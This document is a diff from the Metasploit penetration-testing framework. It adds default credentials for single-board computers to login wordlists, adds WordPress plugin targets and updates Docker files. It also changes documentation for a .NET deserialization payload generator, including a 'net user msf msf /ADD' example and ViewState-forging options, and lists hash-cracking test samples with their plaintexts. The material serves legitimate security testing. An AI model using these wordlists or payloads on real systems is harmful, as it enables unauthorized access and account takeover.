|
||||
webdynpro
|
||||
webdynpro/dispatcher
|
||||
webdynpro/dispatcher/sap.com/grc~accvwdcomp
|
||||
webdynpro/dispatcher/sap.com/grc~aewebquery
|
||||
webdynpro/dispatcher/sap.com/grc~ccappcomp
|
||||
webdynpro/dispatcher/sap.com/grc~ccxsysbe
|
||||
webdynpro/dispatcher/sap.com/grc~ccxsysbehr
|
||||
webdynpro/dispatcher/sap.com/grc~ffappcomp
|
||||
webdynpro/dispatcher/sap.com/pb/pagebuilder
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwl
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldetail
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldisplayhistory
|
||||
webdynpro/dispatcher/sap.com/tc~lm~webadmin~mainframe~wd/WebAdminApp
|
||||
webdynpro/dispatcher/sap.com/tc~sec~ume~wd~enduser/UmeEnduserApp
|
||||
webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/Explorer
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
|
||||
webdynpro/resources/sap.com/
|
||||
webdynpro/welcome
|
||||
webdynpro/welcome/Welcome.jsp
|
||||
wsd2wsdl
|
||||
wsnavigator
|
||||
wsnavigator/enterwsdl.html
|
||||
wsnavigator/jsps/redirect.jsp
|
||||
wsnavigator/jsps/sendrequest.jsp
|
||||
wsnavigator/jsps/test.jsp
|
||||
wssproc/cert
|
||||
wssproc/plain
|
||||
wssproc/ssl
|
||||
|
||||
@@ -1007,3 +1007,15 @@ arcsight
|
||||
MargaretThatcheris110%SEXY
|
||||
karaf
|
||||
vagrant
|
||||
1234
|
||||
milkv
|
||||
luckfox
|
||||
orangepi
|
||||
temppwd
|
||||
bianbu
|
||||
debian
|
||||
starfive
|
||||
linaro
|
||||
rock
|
||||
radxa
|
||||
ubuntu
|
||||
|
||||
@@ -28,6 +28,7 @@ cups-pk-helper
|
||||
daemon
|
||||
dbadmin
|
||||
dbus
|
||||
debian
|
||||
Debian-exim
|
||||
Debian-snmp
|
||||
demo
|
||||
@@ -65,6 +66,7 @@ landscape
|
||||
libstoragemgmt
|
||||
libuuid
|
||||
lightdm
|
||||
linaro
|
||||
list
|
||||
listen
|
||||
lp
|
||||
@@ -95,6 +97,7 @@ operator
|
||||
oracle
|
||||
OutOfBox
|
||||
pi
|
||||
pico
|
||||
polkitd
|
||||
pollinate
|
||||
popr
|
||||
@@ -104,9 +107,12 @@ postmaster
|
||||
printer
|
||||
proxy
|
||||
pulse
|
||||
radxa
|
||||
redsocks
|
||||
rfindd
|
||||
riscv
|
||||
rje
|
||||
rock
|
||||
root
|
||||
ROOT
|
||||
rooty
|
||||
@@ -143,6 +149,7 @@ systemd-timesync
|
||||
tcpdump
|
||||
trouble
|
||||
tss
|
||||
ubuntu
|
||||
udadmin
|
||||
ultra
|
||||
umountfs
|
||||
|
||||
@@ -60,3 +60,8 @@ paid-memberships-pro
|
||||
woocommerce-payments
|
||||
file-manager-advanced-shortcode
|
||||
royal-elementor-addons
|
||||
backup-backup
|
||||
hash-form
|
||||
give
|
||||
ultimate-member
|
||||
wp-fastest-cache
|
||||
|
||||
@@ -1,2 +1,3 @@
|
||||
holding_pattern
|
||||
wplms
|
||||
bricks
|
||||
|
||||
@@ -34566,6 +34566,7 @@ hash-comment-ip
|
||||
hash-converter
|
||||
hash-coupon
|
||||
hash-elements
|
||||
hash-form
|
||||
hash-hash-tags
|
||||
hash-link-scroll-offset
|
||||
hashbar-wp-notification-bar
|
||||
|
||||
+22997
-4713
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,3 @@
|
||||
version: '3'
|
||||
|
||||
services:
|
||||
ms:
|
||||
build:
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
version: '3'
|
||||
services:
|
||||
ms:
|
||||
image: metasploitframework/metasploit-framework:latest
|
||||
|
||||
@@ -23,8 +23,8 @@ PARAMS="$@"
|
||||
|
||||
if [[ $PARAMS == *"--rebuild"* ]]; then
|
||||
echo "Rebuilding image"
|
||||
docker-compose build
|
||||
docker compose build
|
||||
exit $?
|
||||
fi
|
||||
|
||||
docker-compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
|
||||
docker compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
3.0.5
|
||||
3.2.5
|
||||
|
||||
+3
-1
@@ -76,11 +76,13 @@ GEM
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.2.5)
|
||||
rexml (3.3.6)
|
||||
strscan
|
||||
rouge (4.0.0)
|
||||
safe_yaml (1.0.5)
|
||||
sassc (2.4.0)
|
||||
ffi (~> 1.9)
|
||||
strscan (3.1.0)
|
||||
terminal-table (3.0.2)
|
||||
unicode-display_width (>= 1.1.1, < 3)
|
||||
unicode-display_width (2.3.0)
|
||||
|
||||
+1
-1
@@ -32,7 +32,7 @@ exclude:
|
||||
# just-the-docs config
|
||||
mermaid_enabled: true
|
||||
mermaid:
|
||||
version: "9.2.2"
|
||||
version: "10.8.0"
|
||||
heading_anchors: true
|
||||
aux_links_new_tab: true
|
||||
aux_links:
|
||||
|
||||
@@ -342,7 +342,7 @@ The result object now as a `.to_h` method which returns a hash compatible with o
|
||||
|
||||
In the case of a success we build some info hashes and call `create_credential`. This is a method found in the metasploit-credential gem under `lib/metasploit/credential/creation.rb` in a mixin called `Metasploit::Credential::Creation`. This mixin is included in the Report mixin, so if your module includes that mixin you'll get these methods for free.
|
||||
|
||||
`create_credential` creates a `Metasploit::Credential::Core`. We then take that core, the service data, and merge it with some additional data. This additional data includes the access level, the current time (to update last_attempted_at on the `Metasploit::Credential::Login`), the the status.
|
||||
`create_credential` creates a `Metasploit::Credential::Core`. We then take that core, the service data, and merge it with some additional data. This additional data includes the access level, the current time (to update last_attempted_at on the `Metasploit::Credential::Login`), the status.
|
||||
|
||||
Finally, for a success, we output the result to the console.
|
||||
|
||||
|
||||
+1
@@ -70,3 +70,4 @@ Example:
|
||||
| FIRST_ATTEMPT_FAIL | The module may fail for the first attempt |
|
||||
| REPEATABLE_SESSION | The module is expected to get a session every time it runs |
|
||||
| UNRELIABLE_SESSION | The module isn't expected to get a shell reliably (such as only once) |
|
||||
| EVENT_DEPENDENT | The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc |
|
||||
|
||||
@@ -82,24 +82,41 @@ Generate a .NET deserialization payload that will execute an operating system
|
||||
command using the specified gadget chain and formatter.
|
||||
|
||||
Available formatters:
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
|
||||
Available gadget chains:
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
* ClaimsPrincipal
|
||||
* DataSet
|
||||
* DataSetTypeSpoof
|
||||
* ObjectDataProvider
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
|
||||
Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
|
||||
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
|
||||
|
||||
Specific options:
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
-h, --help Show this message
|
||||
Examples:
|
||||
./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
|
||||
./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \
|
||||
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
|
||||
|
||||
General options:
|
||||
-h, --help Show this message
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
|
||||
ViewState related options:
|
||||
--viewstate-generator <String>
|
||||
The ViewState generator string to use
|
||||
--viewstate-validation-algorithm <String>
|
||||
The validation algorithm (default: SHA1, see: Available HMAC algorithms)
|
||||
--viewstate-validation-key <HexString>
|
||||
The validationKey from the web.config file
|
||||
```
|
||||
|
||||
The `-g` / `--gadget` option maps to the *gadget_chain* argument for the
|
||||
|
||||
@@ -85,6 +85,15 @@ This section will cover the differences between the two crackers. This is not a
|
||||
| NetNTLMv1 | netntlm | 5500 |
|
||||
| NetNTLMv2 | netntlmv2 | 5600 |
|
||||
| pbkdf2-sha256 | PBKDF2-HMAC-SHA256 | 10900 |
|
||||
| Android (Samsung) SHA1 | | 5800 |
|
||||
| Android (non-Samsung) SHA1 | | 110 |
|
||||
| Android MD5 | | 10 |
|
||||
| xsha | xsha | 122 |
|
||||
| xsha512 | xsha512 | 1722 |
|
||||
| PBKDF2-HMAC-SHA512 | PBKDF2-HMAC-SHA512 | 7100 |
|
||||
| PBKDF2-HMAC-SHA1 | PBKDF2-HMAC-SHA1 | 12001 |
|
||||
| PHPass | phpass | 400 |
|
||||
| mediawiki | mediawiki | 3711 |
|
||||
|
||||
While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat.
|
||||
|
||||
@@ -136,6 +145,8 @@ creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB11
|
||||
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
|
||||
creds add user:u4-netntlm hash:u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c jtr:netntlm
|
||||
creds add user:admin hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 jtr:netntlmv2
|
||||
creds add user:mscash-test1 hash:M$test1#64cd29e36a8431a2b111378564a10631 jtr:mscash
|
||||
creds add user:mscash2-hashcat hash:$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f jtr:mscash2
|
||||
# sql
|
||||
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
|
||||
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
|
||||
@@ -152,7 +163,20 @@ creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C
|
||||
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
|
||||
## postgres uses username, so we can't override that here
|
||||
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
|
||||
## other
|
||||
# mobile
|
||||
creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1
|
||||
creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1
|
||||
creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5
|
||||
# OSX
|
||||
creds add user:xsha_hashcat hash:1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 jtr:xsha
|
||||
creds add user:pbkdf2_hashcat hash:$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 jtr:PBKDF2-HMAC-SHA512
|
||||
creds add user:xsha512_hashcat hash:648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d jtr:xsha512
|
||||
# webapps
|
||||
creds add user:mediawiki_hashcat hash:$B$56668501$0ce106caa70af57fd525aeaf80ef2898 jtr:mediawiki
|
||||
creds add user:phpass_p_hashcat hash:$P$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
|
||||
creds add user:phpass_h_hashcat hash:$H$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
|
||||
creds add user:atlassian_hashcat hash:{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa jtr:PBKDF2-HMAC-SHA1
|
||||
# other
|
||||
creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5
|
||||
creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6' jtr:dynamic_82
|
||||
creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU' jtr:pbkdf2-sha256
|
||||
@@ -160,32 +184,44 @@ creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlI
|
||||
|
||||
This data breaks down to the following table:
|
||||
|
||||
| | Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this | | | |
|
||||
|---|--------------------------------------|--------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------|--------------------|---------------------------------------------------|-----------------------------------------------------------|---|---|---|
|
||||
| | DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux | | | |
|
||||
| | MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux | | | |
|
||||
| | BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux | | | |
|
||||
| | SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux | | | |
|
||||
| | SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux | | | |
|
||||
| | Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux | | | |
|
||||
| | Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows | | | |
|
||||
| | NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows | | | |
|
||||
| | NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows | | | |
|
||||
| | NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows | | | |
|
||||
| | MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None | | | |
|
||||
| | SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | | |
|
||||
| | pbkdf2-sha256 | admin | `$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU` | admin | PBKDF2-HMAC-SHA256 | exploit/linux/http/apache_superset_cookie_sig_rce | auxiliary/analyze/webapp | | | |
|
||||
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
|
||||
| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | -------------------- | ------------------------------------------------ | --------------------------------------------------------- |
|
||||
| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- |
|
||||
| DES | des_password | `rEK1ecacw.7.c` | password | des | post/aix/gather/hashdump | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux |
|
||||
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | post/windows/gather/hashdump | auxiliary/analyze/crack_windows |
|
||||
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | post/linux/gather/hashdump | auxiliary/analyze/crack_windows |
|
||||
| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows |
|
||||
| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows |
|
||||
| MSCash | mscash-test1 | `M$test1#64cd29e36a8431a2b111378564a10631` | test1 | mscash | | auxiliary/analyze/crack_windows |
|
||||
| MSCash2 | mscash2-hashcat | `$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f` | hashcat | mscash2 | | auxiliary/analyze/crack_windows |
|
||||
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Android (Samsung) SHA1 | samsungsha1 | `D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1` | 1234 | android-samsung-sha1 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
|
||||
| Android (non-Samsung) SHA1 | androidsha1 | `9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5` | 1234 | android-sha1 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
|
||||
| Android MD5 | androidmd5 | `1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5` | 1234 | android-md5 | post/android/gather/hashdump | modules/auxiliary/analyze/crack_mobile |
|
||||
| OSX 10.4-10.6 | xsha_hashcat | `1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683` | hashcat | xsha | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
|
||||
| OSX 10.8+ | pbkdf2_hashcat | `$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f9$` | hashcat | PBKDF2-HMAC-SHA512 | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
|
||||
| OSX 10.7 | xsha512_hashcat | `648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d` | hashcat | xsha512 | post/osx/gather/hashdump | modules/auxiliary/analyze/crack_osx |
|
||||
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | |
|
||||
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | |
|
